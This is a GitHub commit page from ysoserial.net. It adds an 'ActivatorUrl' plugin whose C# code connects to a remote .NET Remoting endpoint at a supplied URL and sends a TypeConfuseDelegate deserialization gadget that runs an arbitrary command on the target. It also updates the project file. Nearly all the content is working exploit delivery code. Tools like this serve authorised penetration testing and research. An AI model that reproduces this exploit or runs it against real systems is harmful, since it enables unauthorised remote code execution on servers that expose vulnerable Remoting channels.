Skip to content

Commit fd4a2f9

Browse files
authored
Merge pull request #43 from hantwister/master
Add ActivatorUrlPlugin v1
2 parents 4f0e684 + d0474fd commit fd4a2f9

File tree

2 files changed

+82
-0
lines changed

2 files changed

+82
-0
lines changed
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
using System;
2+
using System.Collections.Generic;
3+
using System.Runtime.Remoting.Channels;
4+
using System.Runtime.Remoting.Channels.Tcp;
5+
using NDesk.Options;
6+
using ysoserial.Generators;
7+
8+
namespace ysoserial.Plugins
9+
{
10+
// Author: Harrison Neal
11+
// Inspired by targets with BinaryServerFormatterSink.typeFilterLevel = Full
12+
internal class ActivatorUrlPlugin : Plugin
13+
{
14+
private static string command = "";
15+
private static string url = "";
16+
private static bool secure;
17+
18+
private static readonly OptionSet options = new OptionSet
19+
{
20+
{"c|command=", "the command to be executed.", v => command = v},
21+
{"u|url=", "the url passed to Activator.GetObject.", v => url = v},
22+
{
23+
"s", "if TCPChannel security should be enabled.", v =>
24+
{
25+
if (v != null) secure = true;
26+
}
27+
}
28+
};
29+
30+
public string Name()
31+
{
32+
return "ActivatorUrl";
33+
}
34+
35+
public string Description()
36+
{
37+
return "Sends a generated payload to an activated, presumably remote, object";
38+
}
39+
40+
public OptionSet Options()
41+
{
42+
return options;
43+
}
44+
45+
public object Run(string[] args)
46+
{
47+
List<string> extra;
48+
try
49+
{
50+
extra = options.Parse(args);
51+
52+
if (string.IsNullOrWhiteSpace(url)) throw new ArgumentException("A URL must be provided.");
53+
54+
if (string.IsNullOrWhiteSpace(command)) throw new ArgumentException("A command must be provided.");
55+
}
56+
catch (Exception e)
57+
{
58+
Console.Write("ysoserial: ");
59+
Console.WriteLine(e.Message);
60+
Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
61+
Environment.Exit(-1);
62+
}
63+
64+
try
65+
{
66+
if (secure) ChannelServices.RegisterChannel(new TcpChannel(), true);
67+
68+
Activator.GetObject(typeof(MarshalByRefObject), url)
69+
.Equals(new TypeConfuseDelegateGenerator().TypeConfuseDelegateGadget(command));
70+
}
71+
catch (Exception e)
72+
{
73+
Console.WriteLine(e.ToString());
74+
Console.WriteLine();
75+
}
76+
77+
return "Payload already sent";
78+
}
79+
}
80+
}

ysoserial/ysoserial.csproj

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -58,6 +58,7 @@
5858
<SpecificVersion>False</SpecificVersion>
5959
<HintPath>dlls\Microsoft.PowerShell.Editor.dll</HintPath>
6060
</Reference>
61+
<Reference Include="System.Runtime.Remoting" />
6162
<Reference Include="System.Runtime.Serialization" />
6263
<Reference Include="System.Runtime.Serialization.Formatters.Soap" />
6364
<Reference Include="System.Transactions" />
@@ -88,6 +89,7 @@
8889
<Compile Include="Generators\PSObjectGenerator.cs" />
8990
<Compile Include="Generators\TypeConfuseDelegateGenerator.cs" />
9091
<Compile Include="Generators\WindowsIdentityGenerator.cs" />
92+
<Compile Include="Plugins\ActivatorUrlPlugin.cs" />
9193
<Compile Include="Plugins\AltserializationPlugin.cs" />
9294
<Compile Include="Plugins\ApplicationTrustPlugin.cs" />
9395
<Compile Include="Plugins\ClipboardPlugin.cs" />

0 commit comments

Comments
 (0)